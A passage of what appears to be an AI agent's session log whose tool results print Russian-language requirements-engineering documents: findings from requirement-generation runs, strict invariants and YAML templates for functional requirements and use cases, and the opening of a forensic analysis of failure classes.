\u0447\u0435\u0440\u0435\u0437 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a, \u043d\u0435 \u0438\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f. | \u0414\u0435\u0442\u0430\u043b\u044c \u0431\u0435\u0437 evidence \u0443\u0434\u0430\u043b\u044f\u0435\u0442\u0441\u044f \u0438\u043b\u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u043c; \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 FR, \u043d\u043e \u043d\u0435 \u043f\u043e\u0440\u043e\u0436\u0434\u0430\u0435\u0442 \u0435\u0433\u043e. |\\n| RUN-0025 | \u041d\u0430\u0439\u0434\u0435\u043d\u044b \u0434\u0443\u0431\u043b\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432, \u044d\u0442\u0430\u043f\u044b \u0440\u0430\u0431\u043e\u0442 \u043f\u043e\u0434 \u0432\u0438\u0434\u043e\u043c \u043f\u0440\u0430\u0432\u0438\u043b \u0438 \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442 \u0442\u0435\u0440\u043c\u0438\u043d\u0430; \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043e. | Review \u043e\u0431\u044f\u0437\u0430\u043d \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0442\u0438\u043f \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u0438 decision authority, \u0430 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0433\u0440\u0430\u043c\u043c\u0430\u0442\u0438\u043a\u0443. |\\n| RUN-0026 | Scope expansion \u0438 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u0443\u0431\u043b\u044c \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b; \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0438 \u0434\u0430\u043b\u0430 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 \u0432\u044b\u0431\u0440\u0430\u0442\u044c. | \u041f\u0440\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u044f\u0445 \u043f\u0443\u0431\u043b\u0438\u043a\u0443\u044e\u0442\u0441\u044f \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0438 trade-offs, \u043d\u0435 \u0444\u0438\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043e\u0442\u0432\u0435\u0442. |\\n| RUN-0027 | \u0422\u0440\u0438 \u0447\u0438\u0441\u043b\u043e\u0432\u044b\u0445 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u044b \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u043c\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438; \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u0430\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u0430 \u044f\u0432\u043d\u043e. | \u0427\u0438\u0441\u043b\u043e \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0441 anchor \u0438 \u0441\u0442\u0430\u0442\u0443\u0441\u043e\u043c \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430; partial \u043d\u0435 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e fact. |\\n| RUN-0029 | \u041f\u043e\u0441\u043b\u0435 \u043a\u043e\u0440\u0440\u0435\u043a\u0446\u0438\u0438 \u0440\u0435\u0436\u0438\u043c \u0438\u0437\u043c\u0435\u043d\u0451\u043d \u0441 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u0438. | \u0420\u0435\u0436\u0438\u043c \u0440\u0430\u0431\u043e\u0442\u044b \u2014 \u0447\u0430\u0441\u0442\u044c baseline \u0438 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u044f\u0432\u043d\u044b\u043c decision event. |\\n| RUN-0055 | 40 \u0438\u0437 50 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0445 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0439 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u044b, 10 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043f\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438. | Claim-level verification \u0434\u043e\u043b\u0436\u0435\u043d \u043f\u0440\u0435\u0434\u0448\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c feasibility verdict. |\\n| RUN-0056\u2192RUN-0058 | \u041f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 gap \u0438\u0437-\u0437\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u0438 API \u0431\u044b\u043b \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0435\u043d \u043f\u043e\u0441\u043b\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. | \u0412\u0435\u0440\u0434\u0438\u043a\u0442 \u0445\u0440\u0430\u043d\u0438\u0442 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 evidence \u0438 \u043e\u0431\u044f\u0437\u0430\u043d \u0431\u044b\u0442\u044c \u043f\u0435\u0440\u0435\u0441\u0447\u0438\u0442\u0430\u043d \u043f\u0440\u0438 \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u0438 SSOT. |\\n| RUN-0059 | \u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 Mango endpoints \u0438 JSON \u043d\u0435 \u0431\u044b\u043b\u0438 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043d\u044b; \u043f\u0440\u043e\u0431\u0435\u043b \u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c gap. | Fail-closed \u043f\u043e\u043b\u0435\u0437\u043d\u0435\u0435 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0439 \u0441\u0445\u0435\u043c\u044b \u0431\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. |\\n| RUN-0060 | 101 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 source anchors; \u0448\u0435\u0441\u0442\u044c \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0439 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b, \u043e\u0434\u0438\u043d verdict \u043f\u043e\u043d\u0438\u0436\u0435\u043d. | Reproducible index \u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0434\u043e\u043b\u0436\u043d\u044b \u0443\u043c\u0435\u0442\u044c \u0443\u0445\u0443\u0434\u0448\u0430\u0442\u044c \u043f\u0440\u0435\u0436\u043d\u0438\u0439 \u043e\u0442\u0432\u0435\u0442. |\\n| RUN-0063\u2192RUN-0067 | \u041f\u044f\u0442\u044c as-is \u043f\u0441\u0435\u0432\u0434\u043e-FR \u0443\u0434\u0430\u043b\u0435\u043d\u044b; \u0434\u0435\u043b\u044c\u0442\u0430 \u0441\u0432\u0435\u0434\u0435\u043d\u0430 \u043a \u0434\u0432\u0443\u043c FR, 14 AC \u0438 \u0434\u0435\u0432\u044f\u0442\u0438 \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c. | \u041c\u0430\u043b\u043e\u0435 \u0447\u0438\u0441\u043b\u043e capability FR + \u043f\u043e\u043b\u043d\u043e\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u044f\u043c\u0438 \u043b\u0443\u0447\u0448\u0435 \u0441\u043f\u0438\u0441\u043a\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0445 UI-\u0444\u0430\u043a\u0442\u043e\u0432. |\\n| BCREQ-1104 | \u041f\u043e\u0441\u043b\u0435 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u043e\u043f\u0440\u0430\u0432\u043e\u043a \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0447\u0435\u0442\u044b\u0440\u0435 \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0431\u0435\u0437 \u043b\u0438\u0448\u043d\u0435\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0434\u0435\u0442\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438. | Human correction \u0434\u043e\u043b\u0436\u043d\u0430 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f regression example, \u0430 \u043d\u0435 \u043e\u0434\u043d\u043e\u0440\u0430\u0437\u043e\u0432\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. |\\n| BCREQ-1106 | \u0420\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u043e\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043e\u0442 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u044b\u0431\u043e\u0440\u0430 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u043b\u043e \u0441\u0432\u043e\u0431\u043e\u0434\u0443 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f. | \u0414\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432 solution layer, \u043d\u0435 \u043c\u0430\u0441\u043a\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043f\u043e\u0434 FR. |\\n\\n## \u0421\u0442\u0440\u043e\u0433\u0438\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0438 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b\\n\\n\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b \u0441\\n[ISO/IEC/IEEE 29148:2018](https://www.iso.org/obp/ui?_escaped_fragment_=iso%3Astd%3Aiso-iec-ieee%3A29148%3Aed-2%3Av1%3Aen)\\n\u0438 [IREB CPRE Glossary](https://cpre.ireb.org/en/downloads-and-resources/glossary),\\n\u043d\u043e \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043a BCREQ-\u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430.\\n\\n### Functional Requirement\\n\\n**\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435.** FR \u2014 \u043e\u0434\u043d\u043e \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0435, \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442,\\n\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0446\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0439 \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u0438 \u0432\\n\u0437\u0430\u0434\u0430\u043d\u043d\u043e\u0439 \u0433\u0440\u0430\u043d\u0438\u0446\u0435. FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 `\u0447\u0442\u043e`, \u0430 \u043d\u0435 \u044d\u043a\u0440\u0430\u043d, control, \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c\\n\u0448\u0430\u0433\u043e\u0432 \u0438\u043b\u0438 \u0432\u044b\u0431\u0440\u0430\u043d\u043d\u044b\u0439 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438.\\n\\n`FR-INV-01` \u2014 \u0443 FR \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d `requirement_id`, \u043e\u0434\u0438\u043d system subject \u0438 \u043e\u0434\u043d\u0430\\n\u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u0430\u044f capability; \u0441\u043e\u0441\u0442\u0430\u0432\u043d\u043e\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f.\\n\\n`FR-INV-02` \u2014 FR \u0438\u043c\u0435\u0435\u0442 `goal_refs`, `task_refs`, `source_refs`,\\n`product_binding`, `delta_ref` \u0438 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u043e\u0434\u0438\u043d `scenario_ref`.\\n\\n`FR-INV-03` \u2014 \u0442\u0435\u043a\u0441\u0442 \u0432\u044b\u0440\u0430\u0436\u0430\u0435\u0442 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c (`shall` / \u00ab\u0434\u043e\u043b\u0436\u043d\u0430\u00bb) \u0438 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0439\\noutcome. \u0421\u043b\u043e\u0432\u0430 `\u043a\u043d\u043e\u043f\u043a\u0430`, `\u043f\u043e\u043b\u0435`, `\u0432\u043a\u043b\u0430\u0434\u043a\u0430`, `endpoint`, \u0444\u043e\u0440\u043c\u0430\u0442 payload \u0438\\n\u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f \u0432 FR \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f warning, \u043f\u043e\u043a\u0430 semantic gate \u043d\u0435 \u0434\u043e\u043a\u0430\u0436\u0435\u0442,\\n\u0447\u0442\u043e \u044d\u0442\u043e \u0441\u0430\u043c\u043e \u0437\u0430\u043f\u0440\u043e\u0448\u0435\u043d\u043d\u043e\u0435 \u0432\u043d\u0435\u0448\u043d\u0435\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435.\\n\\n`FR-INV-04` \u2014 as-is, project task, rationale, constraint, NFR, acceptance\\ncriterion \u0438 solution option \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0438\u043c\u0435\u0442\u044c \u0442\u0438\u043f FR.\\n\\n\u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u0430\u044f \u0444\u043e\u0440\u043c\u0430:\\n\\n```yaml\\nrequirement_id: FR-001\\nsystem_subject: target-system\\nshall: \\\"provide \\\"\\ngoal_refs: [GOAL-01]\\ntask_refs: [TASK-01]\\nsource_refs: [SRC-01]\\ndelta_ref: DELTA-01\\nproduct_binding_refs: [PB-01]\\nscenario_refs: [UC-001]\\nacceptance_refs: [AC-001]\\n```\\n\\n### Use Case\\n\\n**\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435.** UC \u2014 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 \u0446\u0435\u043b\u044c\u044e \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f actor-\u0430 \u0441\\n\u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f trigger-\u043e\u043c, \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u0438\\n\u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435/\u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0442\u043e\u043a\u0438 \u0438 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u043c outcome. UC\\n\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u043b\u0438 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u0438\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439; \u0441\u0430\u043c \u043f\u043e \u0441\u0435\u0431\u0435 \u043e\u043d \u043d\u0435\\n\u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043d\u043e\u0432\u0443\u044e capability.\\n\\n`UC-INV-01` \u2014 UC \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 actor, goal, trigger, preconditions, numbered main\\nflow, alternatives/exceptions \u0438 postcondition/outcome.\\n\\n`UC-INV-02` \u2014 \u043a\u0430\u0436\u0434\u044b\u0439 UC \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u043d\u0430 FR, NFR \u0438\u043b\u0438 constraint; \u043a\u0430\u0436\u0434\u044b\u0439 FR\\n\u0438\u043c\u0435\u0435\u0442 \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u0438\u043d UC. \u0421\u0432\u044f\u0437\u044c many-to-many \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0432 \u043e\u0431\u0435 \u0441\u0442\u043e\u0440\u043e\u043d\u044b.\\n\\n`UC-INV-03` \u2014 UI control \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0448\u0430\u0433\u043e\u043c UC; failure branch \u2014 alternative \u0438\u043b\u0438\\nexception. \u041d\u0438 \u043e\u0434\u0438\u043d \u0438\u0437 \u043d\u0438\u0445 \u043d\u0435 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f FR \u0431\u0435\u0437 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e\u0439\\ncapability.\\n\\n\u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u0430\u044f \u0444\u043e\u0440\u043c\u0430:\\n\\n```yaml\\nscenario_id: UC-001\\nactor: ACTOR-01\\ngoal_ref: GOAL-01\\ntrigger: \\\"...\\\"\\npreconditions: [PRE-01]\\nmain_flow: [STEP-01, STEP-02]\",\n[2026-09-29T07:45:05.390Z] [INFO]         \"is_error\": false\n[2026-09-29T07:45:05.390Z] [INFO]       }\n[2026-09-29T07:45:05.390Z] [INFO]     ]\n[2026-09-29T07:45:05.390Z] [INFO]   },\n[2026-09-29T07:45:05.390Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:45:05.390Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:05.390Z] [INFO]   \"uuid\": \"829876ac-cb52-4174-b8da-b1392beba049\",\n[2026-09-29T07:45:05.390Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:04.644Z\",\n[2026-09-29T07:45:05.390Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:45:05.390Z] [INFO]     \"stdout\": \"---\\nstatus: accepted\\nversion: 0.2\\nupdated: 2026-09-24\\ntemperature: 0.1\\ntype: analysis\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/605\\\"\\nscope: mango-only\\nbased_on: \\\"https://github.com/G-Ivan-A/mango_ba_prompts/tree/8cbf82aa73129ec5747af07f790aaf438b0fb6e9/runs\\\"\\nrelated_artifacts:\\n---\\n\\n# \u0424\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u0441\u0442\u0440\u043e\u0433\u0438\u0439 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n\\n## \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\n\\n\u041a\u043e\u0440\u043f\u0443\u0441 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043d\u0435 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438, \u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445\\n\u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430: \u043d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f; \u0442\u0435\u043a\u0443\u0449\u0435\u0435\\n\u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435, UI \u0438\u043b\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u043c\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c; \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438;\\n\u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0438 \u0442\u043e\u0447\u043d\u043e\u0433\u043e\\n\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430. \u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n\u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441 \u0440\u0430\u0437\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430\u043c\u0438 \u0434\u043b\u044f FR, UC \u0438 NFR, \u0440\u0435\u0435\u0441\u0442\u0440\u043e\u043c\\n\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u043c\u0430\u0442\u0440\u0438\u0446\u0435\u0439 `as-is \u2192 delta`, \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0439 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u043e\u0439 \u0438 \u0442\u0440\u0435\u043c\u044f \u0433\u0435\u0439\u0442\u0430\u043c\u0438:\\n\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c.\\n\\n\u041f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0435 \u043d\u0438\u0436\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u044e\u0442, \u043d\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u044e\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439\\n[RFC \u0443\u0440\u043e\u0432\u043d\u044f \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md).\\n\u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u043a\u0430\u043a \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f Source-\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 